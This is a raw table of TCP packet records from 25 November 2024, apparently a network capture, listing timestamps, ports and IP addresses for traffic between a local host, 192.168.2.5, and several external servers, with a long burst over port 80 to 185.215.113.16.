Nov 25, 2024 14:14:53.183876038 CET	443	49884	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:53.184545994 CET	49884	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:53.184575081 CET	443	49884	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:53.186033010 CET	443	49884	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:53.186091900 CET	49884	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:53.186753035 CET	49884	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:53.186825037 CET	443	49884	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:53.187156916 CET	49884	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:53.187175035 CET	443	49884	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:53.187269926 CET	49884	443	192.168.2.5	40.79.167.8
Nov 25, 2024 14:14:53.187299967 CET	443	49884	40.79.167.8	192.168.2.5
Nov 25, 2024 14:14:53.217456102 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.217470884 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.217528105 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.217941999 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.218064070 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.218091965 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.218102932 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.221956968 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:53.221966028 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.222031116 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.222039938 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.222084045 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.222565889 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:53.222575903 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:53.222981930 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:53.223891020 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:53.223895073 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:53.226095915 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.226147890 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.226346970 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.226564884 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.226850986 CET	49888	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:53.226877928 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:53.227411032 CET	49888	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:53.227416039 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:53.230113983 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.230165958 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.230302095 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.230391026 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.237505913 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.237519026 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.237565994 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.237579107 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.240221024 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.240269899 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.240582943 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.240633011 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.241558075 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.241666079 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.241673946 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:53.241831064 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.242024899 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.242223024 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:53.242250919 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:53.243073940 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:53.243078947 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:53.245182991 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.245251894 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.245419025 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.245553017 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.249051094 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.249115944 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.249202013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.249248981 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.252983093 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.253196955 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.253236055 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.253253937 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.256369114 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.256419897 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.256628036 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.256666899 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.260186911 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.260234118 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.260370970 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.260428905 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.268502951 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.268626928 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.268681049 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.270246029 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.270294905 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.270597935 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.270651102 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.273684978 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.273730040 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.274033070 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.274122000 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.277499914 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.277540922 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.277825117 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.277867079 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.281276941 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.281332970 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.281450987 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.281523943 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.284924030 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.284981966 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.285398006 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.285453081 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.288789988 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.288830042 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.288954020 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.288994074 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.290756941 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.290769100 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.290800095 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.290810108 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.294352055 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.294487953 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.294507027 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.294548035 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.297481060 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.297543049 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.298055887 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.298104048 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.303795099 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.303809881 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.303872108 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.304713011 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.304775000 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.304923058 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.305078983 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.308549881 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.308635950 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.308666945 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.308674097 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.312180042 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.312228918 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.312375069 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.312438965 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.315989971 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.316054106 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.316183090 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.316235065 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.317524910 CET	443	49889	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:53.330766916 CET	443	49891	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:53.339656115 CET	49889	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:53.339665890 CET	443	49889	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:53.340373039 CET	49889	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:53.340377092 CET	443	49889	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:53.341272116 CET	49891	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:53.341298103 CET	443	49891	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:53.342490911 CET	49891	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:53.342498064 CET	443	49891	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:53.342529058 CET	49891	443	192.168.2.5	20.190.177.147
Nov 25, 2024 14:14:53.342536926 CET	443	49891	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:53.417325020 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.417390108 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.417506933 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.417555094 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.418772936 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.418831110 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.418881893 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.418922901 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.421866894 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.421940088 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.422626972 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.422682047 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.424705982 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.424762011 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.424920082 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.424977064 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.427351952 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.427421093 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.427720070 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.427777052 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.430291891 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.430337906 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.430421114 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.430459976 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.432852030 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.432936907 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.432945967 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.432969093 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.435544968 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.435610056 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.435904980 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.435950041 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.438296080 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.438342094 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.438503981 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.438568115 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.440865993 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.440915108 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.441076994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.441133976 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.443547964 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.443588972 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.444247007 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.444318056 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.445966005 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.446022987 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.446275949 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.446326971 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.448544025 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.448632002 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.448986053 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.449091911 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.451396942 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.451505899 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.451622009 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.451662064 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.452114105 CET	443	49810	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:53.452204943 CET	443	49810	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:53.452347040 CET	49810	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:53.453758955 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.453814983 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.454057932 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.454107046 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.456176996 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.456233025 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.456461906 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.456509113 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.458698988 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.458751917 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.459034920 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.459089041 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.461349964 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.461394072 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.461421013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.461456060 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.463781118 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.463838100 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.463953018 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.464037895 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.466438055 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.466475010 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.466510057 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.466542959 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.468882084 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.468965054 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.469062090 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.469101906 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.471483946 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.471530914 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.471719980 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.471765995 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.474289894 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.474339008 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.474589109 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.474634886 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.476855993 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.476903915 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.477058887 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.477119923 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.479059935 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.479144096 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.479193926 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.479232073 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.481708050 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.481785059 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.481797934 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.481832981 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.484206915 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.484251976 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.484555006 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.484591961 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.486767054 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.486860991 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.487010956 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.487133980 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.489301920 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.489392042 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.490271091 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.490326881 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.491849899 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.491905928 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.491976023 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.492047071 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.494420052 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.494472027 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.495223999 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.495277882 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.496887922 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.496946096 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.497802019 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.497857094 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.499555111 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.499639034 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.499712944 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.499752045 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.502027988 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.502096891 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.503117085 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.503174067 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.504688978 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.504740953 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.504793882 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.504873991 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.507150888 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.507193089 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.507632017 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.507683992 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.509639025 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.509705067 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.509737015 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.509778023 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.512160063 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.512212038 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.512412071 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.512464046 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.514692068 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.514862061 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.515193939 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.515254974 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.517386913 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.517432928 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.517644882 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.517705917 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.519807100 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.519901037 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.519979000 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.520028114 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.522370100 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.522427082 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.522635937 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.522958040 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.525115967 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.525162935 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.525243044 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.525289059 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.527909040 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.527956009 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.528072119 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.528111935 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.530452013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.530520916 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.530673027 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.530781031 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.532712936 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.532830000 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.532876968 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.535132885 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.535185099 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.535438061 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.535490990 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:53.538038015 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.538084030 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:53.538094997 CET	49885	80	192.168.2.5	185.215.113.16
